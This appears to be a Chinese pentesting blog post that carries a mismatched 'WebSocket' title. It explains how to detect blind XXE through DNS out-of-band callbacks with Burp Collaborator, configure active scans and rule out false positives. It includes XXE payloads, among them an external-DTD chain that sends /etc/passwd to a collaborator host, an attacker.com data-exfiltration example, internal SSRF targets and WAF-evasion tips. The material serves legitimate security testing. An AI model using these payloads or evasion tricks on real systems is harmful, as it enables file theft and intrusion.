WebSocket 详解
2026/6/25 21:56:05
1. 项目概述：从一次失败的渗透测试说起
那次渗透测试的复盘会，气氛有点凝重。客户的应用系统在常规扫描中一切正常，但业务部门反馈，偶尔会有一些“奇怪”的日志条目，指向一个不存在的内部域名。我们团队花了大量时间排查应用逻辑、中间件配置，甚至怀疑是内部DNS污染，最终却无功而返。直到后来一次偶然的深度代码审计，才在某个不起眼的XML解析模块里，揪出了那个潜伏的XXE（XML External Entity）漏洞。攻击者并没有尝试读取系统文件，而是巧妙地构造了外部实体，指向了一个由他控制的DNS服务器，每次漏洞被触发，就会产生一次异常的DNS解析请求，悄无声息地完成了信息外带。这件事给我敲了警钟：传统的XXE检测，太过于聚焦在file://、http://这类明显的利用链上，而忽略了DNS这个隐蔽的“信使”。
这就是今天要聊的核心：如何精准地捕获由XXE漏洞引发的异常DNS请求，并避开检测过程中的常见陷阱。我们会聚焦于一个非常实用的工具链组合：Burp Suite的Collaborator功能（或其开源替代品）与主动扫描器的联动。网上很多文章会提到“用DNSlog检测XXE”，但大多语焉不详，要么是简单配个平台地址了事，要么忽略了关键的环境差异和干扰排除，导致在实际攻防演练或安全测试中漏报、误报频发。本文将从一个实战者的角度，拆解从原理到部署，从检测到验证的全流程，分享我趟过的坑和总结的有效策略。
2. XXE漏洞与DNS外带：为什么传统检测容易失灵？
2.1 XXE漏洞的“明”与“暗”
XML外部实体注入，原理不复杂：当应用程序解析用户可控的XML数据时，如果未禁用或未安全配置外部实体加载功能，攻击者就可以在XML中定义外部实体。这些实体可以指向本地文件、内部网络资源或远程URL。
常见的利用方式大家都很熟悉：
- 读取本地文件：
<!ENTITY xxe SYSTEM “file:///etc/passwd”>， 然后通过实体引用&xxe;将内容带入响应。 - 发起SSRF攻击：
<!ENTITY xxe SYSTEM “http://192.168.1.1/admin”>，探测或攻击内网服务。 - 拒绝服务：通过加载巨型实体（如著名的“Billion Laughs”攻击）耗尽服务器资源。
正因为这些利用方式直接、危害明显，绝大多数SAST/DAST工具和手动测试者的POC，都围绕着它们展开。检测逻辑往往是：插入一个带有file://或http://（指向一个监听服务器）的实体，然后检查响应中是否出现了文件内容，或者监听服务器是否收到了HTTP请求。
2.2 DNS外带：隐蔽的“信号弹”
然而，在以下场景中，上述“明”的利用方式会失效：
- 无回显场景（Blind XXE）：服务器解析了外部实体，但并不会将实体内容输出到响应中。你无法直接从HTTP响应中看到
/etc/passwd的内容。 - 协议被限制：服务器环境可能阻止了
file://协议（无法读文件），或出站HTTP请求被防火墙严格管控（无法进行SSRF或外带数据）。 - 需要隐蔽探测：在红队评估中，直接发起HTTP请求到外部服务器可能触发安全设备的告警。
这时，DNS协议的优势就凸显出来了。DNS请求：
- 几乎总是被允许：为了正常访问互联网，服务器的出站DNS解析（通常是UDP/53端口）极少被完全封锁。
- 隐蔽性高：混杂在大量正常的DNS流量中，难以被基于HTTP日志的WAF或IDS/IPS识别。
- 可用于带外数据外带：通过将数据编码在子域名中，如
<！ENTITY xxe SYSTEM “http://[data].attacker.com”>，即使服务器不返回内容，攻击者也能在自己的DNS服务器日志中看到解析记录，从而确认漏洞存在，甚至窃取数据（例如，将文件内容分段编码到子域名中）。
因此，检测DNS外带能力，是评估一个XXE漏洞是否真实可利用、危害程度有多深的关键一环。但检测它，远比发一个HTTP请求到Burp Collaborator复杂。
2.3 传统检测工具的局限性
大部分商业或开源的Web漏洞扫描器，其XXE检测插件可能内置了DNS外带检测，但通常存在几个问题：
- Payload过于固定：可能只使用一个预定义的域名（如
scanner-vendor.com），如果目标网络对该域名有特殊策略（如DNS过滤、Sinkhole），检测就会失败。 - 缺乏上下文与排干扰能力：扫描器是自动化、高并发的。它向大量目标应用发送包含DNS解析的Payload。这会产生海量的DNS解析请求。如何从这些请求中，精准地识别出“由当前测试目标、当前测试Payload所触发”的那一个，而不是其他扫描任务或背景噪音产生的？这是核心难点。
- 无法处理复杂交互：一些更高级的Blind XXE利用需要多步交互（如利用参数实体、引入外部DTD等），固定Payload的扫描器可能无法完整模拟。
这就需要我们引入更灵活、更强大的工具链：Burp Collaborator + 主动扫描模式。
3. 核心工具链解析：Burp Collaborator与主动扫描的协同
这套方法的精髓在于“协同”。它不是简单地在Payload里写一个DNS域名，而是建立了一个“请求-监听-关联”的闭环。
3.1 Burp Collaborator：你的专属信标服务器
你可以把Burp Collaborator理解为一个由你控制的、临时性的互联网服务集群。当你启动Burp的Collaborator功能时（无论是Burp Suite Professional内置的，还是自建的私有Collaborator服务器），它会为你生成一批随机的、唯一的子域名，例如：abc123def.collaborator-server.net。
这些域名指向Collaborator服务器。该服务器会监听所有指向这些域名的：
- DNS查询（A记录、AAAA记录等）
- HTTP/HTTPS请求
- SMTP等协议请求
每当有任何客户端（比如存在XXE漏洞的目标服务器）尝试解析abc123def.collaborator-server.net或向其发起HTTP请求时，Collaborator服务器就会记录下这次交互的详细信息，包括源IP、时间戳、请求类型、完整的请求内容（对于HTTP）等。
关键优势：
- 唯一性：每次测试生成的子域名是全局唯一的，完美解决了请求关联问题。你发给目标A的Payload用的是域名A，发给目标B的用域名B，绝不会混淆。
- 多协议支持：一站式检测DNS、HTTP等多种外带通道。
- 数据回传：所有交互记录会近乎实时地回传到你的Burp Suite界面，一目了然。
3.2 将Collaborator集成到主动扫描
仅仅有Collaborator域名还不够，我们需要让扫描器在测试XXE时，动态地使用这些域名来构造Payload。这就是“主动扫描”发挥作用的地方。
以Burp Suite的Active Scan为例，其高级工作流程如下：
- 扫描配置：在启动主动扫描前，你需要在“Scan Configuration”中，为“Application Login”和**关键的“Audit Options”**进行设置。对于XXE检测，我们必须确保相关的检查项被启用，并且配置了Collaborator。
- Payload生成：当扫描器执行XXE检测模块时，它会向Burp Suite的核心引擎请求一个当前可用的Collaborator域名（如
xyz789.collaborator-server.net）。 - 构造与注入：扫描器利用这个域名，动态生成测试Payload。例如，它会构造如下的XML片段：
或者更直接的DNS测试Payload：<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % remote SYSTEM "http://xyz789.collaborator-server.net/xxe.dtd"> %remote; ]> <root>&exfil;</root><?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://xyz789.collaborator-server.net/"> ]> <root>&xxe;</root> - 发送与监听：扫描器将这个Payload插入到HTTP请求的相应位置（如POST body）并发送给目标应用。同时，它开始监听Collaborator服务器是否有关于
xyz789.collaborator-server.net的回调。 - 关联与判定：如果目标服务器解析了该XML，并尝试访问
http://xyz789.collaborator-server.net/，它会先进行DNS解析。这一瞬间，Collaborator服务器就记录到了来自目标服务器IP的DNS查询。扫描器轮询Collaborator收到此记录后，即可判定存在XXE漏洞（至少存在DNS外带），并在扫描结果中生成一个高置信度的Issue。
注意：这里有一个非常重要的细节。许多初学者会直接使用
SYSTEM “dns://xyz789.collaborator-server.net”，但事实上，在XXE上下文中，直接使用dns://协议并不常见且支持性存疑。更通用的方法是利用http://或https://URL。因为当服务器尝试发起这个HTTP请求时，第一步必然是解析该URL中的主机名，即发起DNS查询。这就足够了。我们不需要请求真的到达HTTP服务端，只需要捕获DNS查询这一步，就能证明漏洞存在。
4. 实战部署与精细化配置指南
理解了原理，我们来一步步搭建和配置这个检测环境。这里假设你使用的是Burp Suite Professional。
4.1 配置Burp Collaborator
- 启用Collaborator：打开Burp，进入
Project options->Misc选项卡，找到Burp Collaborator server部分。 - 选择服务器：
- 使用PortSwigger公有服务器：这是最简单的方式，确保你的测试机可以访问互联网。Burp会自动处理。
- 部署私有Collaborator服务器：对于内网测试或对数据敏感性要求极高的场景，这是必须的。你需要一台有公网IP的服务器，下载Burp Collaborator的JAR包运行。这涉及到更复杂的DNS配置（需要将一个域名如
your-collab.com的NS记录指向你的服务器），但能确保所有交互数据不经过第三方。
实操心得：对于大多数外部渗透测试，使用公有服务器即可。对于内部红队演练，强烈建议自建私有服务器，避免扫描流量触犯外部监控策略，也便于日志归档和复现。
- 测试连接：配置好后，点击
Run health check...按钮。Burp会生成一个测试域名并尝试访问它，确保DNS和HTTP回传通道都畅通。这是必须做的一步，很多后续检测失败都源于此步未通过。
4.2 配置主动扫描的审计选项
这是确保XXE-DNS检测生效的核心步骤，很多人的配置错误就在这里。
- 打开扫描配置：
Dashboard->New scan或对某个站点右键Scan。在扫描配置向导中，点击Application login后面的Configure，但更重要的是之后进入Audit options。 - 定位XXE检查项：在
Audit options的Issues Reported列表中，找到“XML external entity injection”。选中它，点击右边的Edit。 - 启用Collaborator交互：在编辑界面中，找到“Scan settings”区域。确保“Use Burp Collaborator”这个复选框是勾选的。有些版本的Burp可能叫 “Report collaborator interactions” 或类似名称。
- 调整主动扫描范围：回到扫描配置，在
Scan configuration的Details选项卡下，确保Audit部分勾选了Audit checks - Insertion points。在Optimization选项卡，可以适当提高Attack Insertion Points的线程数（如从5调到10），以加快测试速度，但需注意目标服务器的承受能力。
4.3 构造高成功率Payload与插入点选择
扫描器有自动化的Payload，但手动测试时，我们需要更精准。
Payload库（根据上下文调整）：
<!-- 基础DNS探测Payload --> <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://UNIQUE_ID.collaborator-server.net/"> %xxe; ]> <test>test</test> <!-- 针对Java XML解析器的经典Blind XXE Payload (分两步) --> <!-- 第一步：在请求中引入外部DTD --> <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://UNIQUE_ID_A.collaborator-server.net/evil.dtd"> %remote; ]> <root></root> <!-- 假设evil.dtd内容为（存放在你的Web服务器上） --> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://UNIQUE_ID_B.collaborator-server.net/?exfil=%file;'>"> %eval; %exfil;当目标服务器解析第一步的XML，加载外部DTD时，就会对UNIQUE_ID_A.collaborator-server.net发起DNS解析（可能还有HTTP请求）。如果成功，再结合DTD内的Payload，可能触发第二次对UNIQUE_ID_B.collaborator-server.net的解析，并尝试外带数据。
插入点选择策略：
- 明确参数：
Content-Type: application/xml或text/xml的POST/PUT请求体是首要目标。 - 隐式参数：
Content-Type: application/x-www-form-urlencoded但参数值可能被后端解析为XML的情况。例如，data=<xml>...</xml>。 - 文件上传：上传XML文件（如SVG、DOCX、XLSX等包含XML的格式）的功能点。
- SOAP请求：基于XML的Web Service接口。
- 修改请求头：尝试添加或修改HTTP头为XML内容类型，有时能触发不同的解析器。
5. 结果分析与误报排除：从噪音中提取信号
发送了Payload，Collaborator也收到了请求，但这不一定就是成功的漏洞。以下是精准分析的要点。
5.1 解读Collaborator交互数据
在Burp的Collaborator标签页，你会看到交互列表。重点关注：
- 类型（Type）：
DNS还是HTTP？对于纯DNS外带检测，看到DNS查询即成功了一大半。 - 来源（Client IP）：这个IP地址是否是目标应用服务器的真实IP？还是你的测试机IP、CDN节点IP或WAF的IP？这至关重要。
- 目标服务器IP：高置信度，漏洞很可能存在。
- 你的测试机IP：说明Payload在你的客户端（Burp或浏览器）就被解析了，这是误报。可能因为浏览器预览、Burp的某种渲染功能导致。需要调整测试方式（如使用Repeater工具，关闭“Update Content-Length”和“自动渲染XML”等选项）。
- CDN/WAF IP：说明中间设备代理了请求并尝试解析了域名。这可能意味着漏洞存在（因为请求穿过了WAF到达了后端？），也可能只是WAF自身的检测行为。需要结合其他证据判断。
- 详情（Details）：查看完整的请求。对于DNS，看查询的域名是否完全匹配你注入的Collaborator子域名。对于HTTP，查看完整的URL和请求头，有时服务器会附带User-Agent等信息，这有助于识别解析主体。
5.2 常见干扰源与排除方法
| 干扰源 | 现象 | 排查与应对策略 |
|---|---|---|
| 客户端解析 | Collaborator交互的Client IP是你自己的测试机IP。 | 1. 在Burp Repeater中测试，关闭“Update Content-Length”和“Unpack gzip/deflate”等可能修改请求体的选项。2. 使用 “Paste from file”直接载入原始Payload，避免在界面中编辑导致意外解析。3. 尝试在请求头中添加 “Cache-Control: no-transform”，防止中间件或客户端库“优化”你的请求。 |
| 扫描器背景噪音 | 同一时间段内，Collaborator收到大量来自不同IP但对不同子域名的DNS查询。 | 这是正常现象，是扫描器其他任务在运行。关键在于关联：在扫描结果中，查看报告的XXE Issue，其详情中会明确列出触发该漏洞的Collaborator交互ID，点击可直接跳转到对应的交互记录。利用这个功能进行精准关联，忽略其他无关记录。 |
| WAF/IPS主动探测 | 来自WAF厂商或云安全中心IP的查询，查询的域名可能是已知的漏洞检测域名模式。 | 1. 观察查询的域名格式。如果是UNIQUE_ID.collaborator-server.net这种随机格式，WAF主动探测的可能性较低（它们通常探测固定域名）。2. 对比时间：交互时间是否与你发送Payload的时间高度吻合（几秒内）？如果是，则很可能是漏洞触发。 3.验证测试：发送一个绝对无害、不包含任何恶意特征的请求，看是否还会收到来自该IP的查询。如果依然收到，则很可能是背景噪音。 |
| 应用程序的正常行为 | 应用本身会出于某些功能（如链接预览、内容安全检查）去解析请求中的URL。 | 1.控制变量：构造一个完全合法、不含XXE实体声明的XML，但包含一个同样的Collaborator URL作为普通文本节点或属性值，发送出去。如果也触发DNS解析，说明是应用功能行为，需要从漏洞报告中排除。 2.协议差异：尝试将 http://换成https://或一个完全不存在的协议如xyz://。如果只有http://触发解析，而xyz://不触发，则更倾向于漏洞触发（因为应用通常不会解析未知协议）。 |
5.3 漏洞确认与危害提升
仅仅捕获到DNS查询，证明了“存在外部实体解析”和“可发起出站请求”。为了评估真实危害，还需要进一步验证：
- 尝试文件读取：将Payload中的URL替换为
file:///etc/passwd，查看响应是否包含文件内容。如果成功，危害等级最高。 - 尝试内网SSRF：将URL指向一个已知的内网IP地址（如
http://192.168.1.1:8080），通过Collaborator查看是否收到来自目标服务器的HTTP请求（而不仅仅是DNS查询）。这证明了HTTP出站能力。 - 数据外带验证：尝试利用DNS进行数据外带。例如，构造Payload读取一个短文件，并将其内容Base32编码后作为子域名的一部分。这需要编写更复杂的多步Payload和外部DTD，并配合自己的DNS日志分析工具，但能彻底证明漏洞的完整利用链。
6. 进阶技巧与场景化应对策略
6.1 处理网络隔离环境
如果目标服务器处于严格的内网，完全无法访问互联网上的Collaborator服务器怎么办？
- 方案一：部署内网Collaborator：在内网找一台机器部署私有Collaborator服务器，并确保目标服务器能解析到它（可能需要修改内网DNS或使用hosts文件）。这是最理想的方案。
- 方案二：DNS层级外带：如果目标服务器能访问内网DNS服务器，而内网DNS服务器有到外网的递归查询权限。那么，对
UNIQUE_ID.your-domain.com的查询，会由内网DNS服务器转发到互联网，最终到达你控制的、your-domain.com的权威DNS服务器。你只需要在你的权威DNS服务器上记录查询日志即可。这需要你拥有一个自定义域名并配置权威DNS解析。 - 方案三：协同监听：如果目标服务器能与内网其他机器通信。可以在内网另一台机器上开启一个简单的HTTP/DNS监听服务（如用
nc或python -m http.server配合tcpdump），然后将Payload中的主机指向这台内网机器的IP。你需要有办法查看那台机器的监听日志。
6.2 应对WAF/IDS的检测
现代WAF可能识别常见的XXE Payload模式。
- 大小写混淆/编码：对
SYSTEM、ENTITY、http://等关键词进行HTML实体编码、Hex编码或大小写变换（如SyStEm）。 - 拆分与混淆：利用XML解析器的特性，将Payload拆分到多个参数或使用CDATA区块包裹。
- 使用非常规协议：尝试
php://、expect://等，但主要目的还是为了触发DNS，可以尝试将URL写成http://attacker.com?proto=file&path=/etc/passwd这种形式，将真实意图放在参数里。 - 利用DTD的引入：这是绕过很多简单正则匹配的有效方法，因为恶意内容在外部DTD文件中。
6.3 自动化与集成
对于需要批量测试的场景，可以结合Burp的Extender API或命令行工具burp-rest-api，编写脚本实现：
- 通过API启动扫描任务。
- 定期轮询Collaborator交互接口。
- 根据交互IP和域名关联扫描结果，自动生成报告。 这能极大提升在大型项目中的检测效率。
7. 总结与核心要点回顾
通过Burp Collaborator与主动扫描的深度结合来检测XXE的DNS外带，是一种高效且精准的方法。其核心价值在于解决了请求关联的唯一性问题，并提供了多协议监听能力。
成功的核心步骤可以归纳为：
- 确保Collaborator通道畅通：无论是公有还是私有服务器，健康检查必须通过。
- 精确配置扫描选项：在XXE的审计设置中，务必勾选“Use Burp Collaborator”。
- 理解Payload触发原理：利用
http://URL触发DNS解析是通用手段。 - 严谨分析交互结果：紧盯“Client IP”是否为目标服务器IP，这是区分成功利用与客户端误解析的关键。
- 主动排除干扰：通过控制变量法（发送无害请求对比）来区分应用正常行为与漏洞触发行为。
这套方法不仅适用于XXE，其“唯一子域名标识-多协议监听-请求关联”的思路，也可以迁移到其他盲注类漏洞（如Blind SQLi、Blind OS Command）的带外检测中，是渗透测试人员武器库中一件极具威力的工具。记住，漏洞检测不仅是发送Payload，更是构建一个精密的反馈系统，从复杂的网络噪音中，捕捉到那一声证明漏洞存在的、微弱的“回响”。